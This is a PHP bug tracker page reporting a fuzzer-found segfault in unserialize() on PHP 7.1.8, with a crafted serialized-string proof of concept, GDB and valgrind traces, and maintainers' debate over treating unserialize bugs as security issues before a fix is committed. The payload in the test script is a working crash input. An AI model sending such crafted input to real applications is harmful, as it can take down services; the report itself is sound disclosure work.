php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #75054 A Denial of Service Vulnerability was found when performing deserialization
Submitted: 2017-08-09 06:44 UTC Modified: 2017-08-12 11:43 UTC
Votes:1
Avg. Score:4.0 ± 0.0
Reproduced:0 of 1 (0.0%)
From: varsleak at gmail dot com Assigned:
Status: Duplicate Package: Variables related
PHP Version: 7.1.8 OS: Ubuntu 16.40 x64
Private report: No CVE-ID:
 [2017-08-09 06:44 UTC] varsleak at gmail dot com
Description:
------------
It was found by afl.



Test script:
---------------
<?php
    $poc = 'a:9:{i:0;s:4:"0000";i:0;s:4:"0000";i:0;R:2;s:4:"5003";R:2;s:4:"0000";R:2;s:4:"0000";R:2;s:4:"';
    $poc .= "\x06";
    $poc .= '000";R:2;s:4:"0000";d:0;s:4:"0000";a:9:{s:4:"0000";';

    unserialize($poc);
?>

Expected result:
----------------
no crash!

Actual result:
--------------
GDB trace:
➜  cli git:(PHP-7.1.8) ✗ gdb php
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from php...done.
(gdb) run poc.php 
Starting program: /home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php poc.php

Program received signal SIGSEGV, Segmentation fault.
0x0000000000860bc3 in zend_mm_alloc_small (heap=0x7ffff4400040, size=64, bin_num=7, __zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1261
1261			heap->free_slot[bin_num] = p->next_free_slot;
(gdb) bt
#0  0x0000000000860bc3 in zend_mm_alloc_small (heap=0x7ffff4400040, size=64, bin_num=7, __zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1261
#1  0x0000000000860e66 in zend_mm_alloc_heap (heap=0x7ffff4400040, size=64, __zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:1332
#2  0x00000000008638a9 in _emalloc (size=32, __zend_filename=0xdcac28 "/home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h", __zend_lineno=122, __zend_orig_filename=0x0, __zend_orig_lineno=0)
    at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_alloc.c:2417
#3  0x00000000007d2707 in zend_string_alloc (len=4, persistent=0) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h:122
#4  0x00000000007d2841 in zend_string_init (str=0x7ffff4463423 "0000\";", len=4, persistent=0) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_string.h:158
#5  0x00000000007d587b in php_var_unserialize_internal (rval=0x7fffffffa400, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x0) at ext/standard/var_unserializer.re:770
#6  0x00000000007d3774 in process_nested_data (rval=0x7ffff4464040, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8, ht=0x7ffff4401420, elements=8, objprops=0) at ext/standard/var_unserializer.re:396
#7  0x00000000007d5348 in php_var_unserialize_internal (rval=0x7ffff4464040, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:825
#8  0x00000000007d3a8c in process_nested_data (rval=0x7ffff4477000, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8, ht=0x7ffff44013c0, elements=0, objprops=0) at ext/standard/var_unserializer.re:452
#9  0x00000000007d5348 in php_var_unserialize_internal (rval=0x7ffff4477000, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:825
#10 0x00000000007d40b2 in php_var_unserialize (rval=0x7ffff4477000, p=0x7fffffffa9c0, max=0x7ffff4463429 "", var_hash=0x7fffffffa9c8) at ext/standard/var_unserializer.re:587
#11 0x00000000007c1ab1 in zif_unserialize (execute_data=0x7ffff44130b0, return_value=0x7fffffffaa70) at /home/varsleak/github/fuzzy/php-src.orig/ext/standard/var.c:1114
#12 0x00000000008fff47 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:628
#13 0x00000000008ff824 in execute_ex (ex=0x7ffff4413030) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:429
#14 0x00000000008ff935 in zend_execute (op_array=0x7ffff4481000, return_value=0x0) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend_vm_execute.h:474
#15 0x000000000089c9c8 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/varsleak/github/fuzzy/php-src.orig/Zend/zend.c:1476
#16 0x00000000008023a6 in php_execute_script (primary_file=0x7fffffffd130) at /home/varsleak/github/fuzzy/php-src.orig/main/main.c:2537
#17 0x00000000009866f3 in do_cli (argc=2, argv=0x114c820) at /home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php_cli.c:993
#18 0x00000000009878c6 in main (argc=2, argv=0x114c820) at /home/varsleak/github/fuzzy/php-src.orig/sapi/cli/php_cli.c:1381


valgrind trace:
==16649== Memcheck, a memory error detector
==16649== Copyright (C) 2002-2015, and GNU GPL'd, by Julian Seward et al.
==16649== Using Valgrind-3.12.0 and LibVEX; rerun with -h for copyright info
==16649== Command: ./php poc.php
==16649== Parent PID: 15100
==16649== 
==16649== Invalid read of size 8
==16649==    at 0x860BC3: zend_mm_alloc_small (zend_alloc.c:1261)
==16649==    by 0x860E65: zend_mm_alloc_heap (zend_alloc.c:1332)
==16649==    by 0x8638A8: _emalloc (zend_alloc.c:2417)
==16649==    by 0x7D2706: zend_string_alloc (zend_string.h:122)
==16649==    by 0x7D2840: zend_string_init (zend_string.h:158)
==16649==    by 0x7D587A: php_var_unserialize_internal (var_unserializer.re:770)
==16649==    by 0x7D3773: process_nested_data (var_unserializer.re:396)
==16649==    by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649==    by 0x7D3A8B: process_nested_data (var_unserializer.re:452)
==16649==    by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649==    by 0x7D40B1: php_var_unserialize (var_unserializer.re:587)
==16649==    by 0x7C1AB0: zif_unserialize (var.c:1114)
==16649==  Address 0x8a57b0000 is not stack'd, malloc'd or (recently) free'd
==16649== 
==16649== 
==16649== Process terminating with default action of signal 11 (SIGSEGV)
==16649==  Access not within mapped region at address 0x8A57B0000
==16649==    at 0x860BC3: zend_mm_alloc_small (zend_alloc.c:1261)
==16649==    by 0x860E65: zend_mm_alloc_heap (zend_alloc.c:1332)
==16649==    by 0x8638A8: _emalloc (zend_alloc.c:2417)
==16649==    by 0x7D2706: zend_string_alloc (zend_string.h:122)
==16649==    by 0x7D2840: zend_string_init (zend_string.h:158)
==16649==    by 0x7D587A: php_var_unserialize_internal (var_unserializer.re:770)
==16649==    by 0x7D3773: process_nested_data (var_unserializer.re:396)
==16649==    by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649==    by 0x7D3A8B: process_nested_data (var_unserializer.re:452)
==16649==    by 0x7D5347: php_var_unserialize_internal (var_unserializer.re:825)
==16649==    by 0x7D40B1: php_var_unserialize (var_unserializer.re:587)
==16649==    by 0x7C1AB0: zif_unserialize (var.c:1114)
==16649==  If you believe this happened as a result of a stack
==16649==  overflow in your program's main thread (unlikely but
==16649==  possible), you can try to increase the size of the
==16649==  main thread stack using the --main-stacksize= flag.
==16649==  The main thread stack size used in this run was 8388608.
==16649== 
==16649== HEAP SUMMARY:
==16649==     in use at exit: 1,471,901 bytes in 9,889 blocks
==16649==   total heap usage: 12,266 allocs, 2,377 frees, 1,798,515 bytes allocated


Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2017-08-09 15:00 UTC] cmb@php.net
-Type: Security +Type: Bug -Package: *General Issues +Package: Variables related
 [2017-08-09 15:00 UTC] cmb@php.net
Unserialize must not be used on untrusted input. We don't consider
issues in unserialize as security vulnerabilities.
 [2017-08-10 02:14 UTC] varsleak at gmail dot com
What kind of input is considered trust? 
Are ordinary php code or other applications (like WAF) doing checkup?
These input data hackers are able to control, 
I do not understand why the issus can not be considered a security issue.
 [2017-08-10 02:46 UTC] yohgaki@php.net
Users are supposed to do something like this by themselves.
https://wiki.php.net/rfc/secure_serialization
 [2017-08-10 06:29 UTC] spam2 at rhsoft dot net
you simply MUST NOT use serialize / unserialize for data coming from outside, use json_encode() and json_decode() and sanitize input data anyways
 [2017-08-10 07:42 UTC] l dot wei at ntu dot edu dot sg
Simply dismiss these issues by suggesting a "best practice" does not seem to improve the situation in systems built on the unsafe deserialization APIs. If deprecating them is too costly for compatibility, maybe fixing such issues as soon as they get reported is the best way to go ? Just two cents.
 [2017-08-10 09:00 UTC] nikic@php.net
For context, please see this recent discussion on the PHP internals list: https://externals.io/message/100147

The situation is basically that given the current serialization format, it is unlikely that unserialize() will EVER be suitable for use on untrusted input. There are some very fundamental issues which are getting papered over as new bug reports come in, but the real issue is in the format itself -- without changing the format, it appears to be impossible to make unserialize() fully secure.

This is why there is a big red box in the unserialize() documentation: http://php.net/unserialize
 [2017-08-10 09:33 UTC] l dot wei at ntu dot edu dot sg
Thanks for the link and clarification.

"Treating unserialize issues as security creates the false sense that we expect it to be secure, when we absolutely don't." - Zeev Suraski

This interesting... Treating such issues as non-security would also create the false sense that - we expect it to be secure now because we just updated a warning box in the documentation - nevertheless unsafe legacy code stays the same. 

CVE assignment is a mechanism to keep track of issues and keep users updated, so they are aware of potential issues. They are not there just to make developers feel bad about the code or whatsoever.

As was done in the Facebook HHVM fork, they have changed the more risky wddx_deserialize() code from native C/++ to PHP/HH, this IMHO is more helpful than dismissing a whole class of memory bugs as non-issues.
 [2017-08-10 10:03 UTC] nikic@php.net
> "Treating unserialize issues as security creates the false sense that we 
> expect it to be secure, when we absolutely don't." - Zeev Suraski
> 
> This interesting... Treating such issues as non-security would also create
> the false sense that - we expect it to be secure now because we just updated
> a warning box in the documentation - nevertheless unsafe legacy code stays
> the same.

The warning box has been present for many years already. We've been telling users that unserialize() is fundmantally insecure for a long time. However, the messaging was inconsistent, with documentation saying that you cannot use it, but the security policy still treating it like you could -- this leaves the impression that it's okay to do this as long as you keep your PHP installation updated. Which is very far from the truth, as you are probably aware.

> CVE assignment is a mechanism to keep track of issues and keep users updated,
> so they are aware of potential issues. They are not there just to make
> developers feel bad about the code or whatsoever.

I don't think that CVEs about specific issues in unserialize() are useful at this point. The only thing users need to know is that if they are using unserialize() on untrusted data, they are vulnerable. Even assuming all the issues we are currently aware of are fixed, I could still say with confidence that there are more vulnerabilities in there and it would not even be particularly hard to find them. In combination with user code implementing Serializable, there are issues that we categorically cannot fix without breaking compatibility.

> As was done in the Facebook HHVM fork, they have changed the more risky
> wddx_deserialize() code from native C/++ to PHP/HH, this IMHO is more
> helpful than dismissing a whole class of memory bugs as non-issues.

I'm not familiar with wddx, so can't comment on that. I do know though that HHVM has made some breaking changes to unserialize() to mitigate issues with Serializable. Maybe we should consider removing support for shared serialization contexts as well. But in any case, that's not something that would be applicable to current stable versions of PHP.
 [2017-08-12 11:18 UTC] nikic@php.net
Automatic comment on behalf of nikita.ppv@gmail.com
Revision: http://git.php.net/?p=php-src.git;a=commit;h=1a23ebc1fff59bf480ca92963b36eba5c1b904c4
Log: Fixed bug #74103 and bug #75054
 [2017-08-12 11:43 UTC] nikic@php.net
-Status: Open +Status: Duplicate
 
PHP Copyright © 2001-2017 The PHP Group
All rights reserved.
Last updated: Tue Aug 29 15:01:52 2017 UTC